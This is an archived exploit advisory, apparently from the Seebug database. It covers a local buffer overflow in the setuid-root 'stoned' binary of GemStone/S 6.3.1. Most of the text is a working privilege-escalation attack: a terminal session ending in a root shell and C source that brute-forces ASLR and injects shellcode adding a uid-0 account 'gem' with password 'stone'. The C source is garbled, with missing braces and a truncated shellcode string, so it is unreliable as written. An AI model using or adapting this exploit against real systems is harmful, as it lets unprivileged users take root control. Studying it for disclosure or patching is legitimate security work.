GemStone/S 6.3.1 (stoned) Local Buffer Overflow Exploit

ID SSV:12252
Type seebug
Reporter Root
Modified 2009-09-11T00:00:00


No description provided by source.

GemStone/S 6.3.1 "stoned" Local Buffer Overflow Exploit

Jeremy Brown [] 09.07.2009

Gemstone/S "stoned" suffers from a local buffer overflow when parsing input either from the "-e" or "-l"
flags, which allows a user to specify an exe config file and logfile, respectively. Both use the same
buffer that is overflowed and we can overwrite the instruction pointer to control the flow of "stoned".

GemStone/S 6.3.1 ( binaries use which means they were compiled
with GCC <= 3.3.x and do not have GCC 4.x protections in place as they probably would by default if we
compiled them from source or used packages. We will put our payload in the exploitable buffer this time.
That being said, we can brute force ASLR on linux and execute arbitrary code pretty confortably.

linux@debian:~$ uname -a && cat /etc/debian_version
Linux debian 2.6.26-1-486 #1 Sat Jan 10 17:46:23 UTC 2009 i686 GNU/Linux
linux@debian:~$ /sbin/sysctl -A | grep randomize
kernel.randomize_va_space = 1
linux@debian:~$ ls -al /opt/gemstone/sys/stoned
-rwsr-xr-x 1 root root 994910 2009-05-26 19:40 /opt/gemstone/sys/stoned
linux@debian:~$ gcc -o wonderfulcaricatureofexploitability wonderfulcaricatureofexploitability.c
linux@debian:~$ ./wonderfulcaricatureofexploitability

GemStone/S 6.3.1 "stoned" Local Buffer Overflow Exploit

Brute forcing our return address... please wait.

Hit payload @ 0xbf85b638 -> "su" to gem (stone) for a root shell :)

linux@debian:~$ su gem
sh-3.2# id
uid=0(root) gid=0(root) groups=0(root)
sh-3.2# exit

Tested on Debian 5 (Lenny) and Ubuntu 9.04 (Jaunty Jackalope)

Now supposedly "The engineering group has informed me that most or all of the issues you found have been
fixed in our latest 64-bit release", but it looks like they left the 32-bit release out to dry because it
has been over 3 months and I haven't got a response back nor do I see any updated version on the website.
There are more bugs in the GemStone SUID binaries such as format strings and arbitrary file disclosures
that should be fixed now so maybe they will releases updates, I think some people would appreciate it.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
#include <signal.h>
#include <sys/wait.h>

#define BIN  "/opt/gemstone/sys/stoned"
#define USER "gem"
#define PASS "stone"

#define SIZE 8224
#define CNT  10000
#define NOP  0x90

/* linux_ia32_adduser -  LSHELL=/bin/sh LUSER=gem LPASS=stone Size=116 Encoder=PexFnstenvSub */
char shellcode[] = "\x2b\xc9\x83\xe9\xe9\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x35"

int main(int argc, char *argv[])

char buf[SIZE];
int i, stat;
long retaddr;
pid_t pid;
struct timeval time;

     printf("\nGemStone/S 6.3.1 \"stoned\" Local Buffer Overflow Exploit\n\n");

     printf("Brute forcing our return address... please wait.\n\n");

for(i = 0; i < CNT; i++)

     gettimeofday(&time, NULL);
     srand(time.tv_sec ^ time.tv_usec);

retaddr = 0xbf000000 + (rand() & 0x00ffffff); // Jon Oberheide

     memset(buf, 0, sizeof(buf));

     memset(buf, NOP, sizeof(buf));
     memcpy(buf+SIZE-strlen(shellcode)-4, shellcode, sizeof(shellcode));
     memcpy(buf+SIZE-4, &retaddr, 4);

buf[SIZE] = '\0';


pid = fork();

if(pid == 0)

if(execl(BIN, BIN, "-l", buf, NULL) < 0) perror("execl"); // -e is also vulnerable


     waitpid(pid, &stat, 0);


     printf("Hit payload @ 0x%lx -> \"su\" to %s (%s) for a root shell :)\n\n", retaddr, USER, PASS);

     return 0;


     return 0;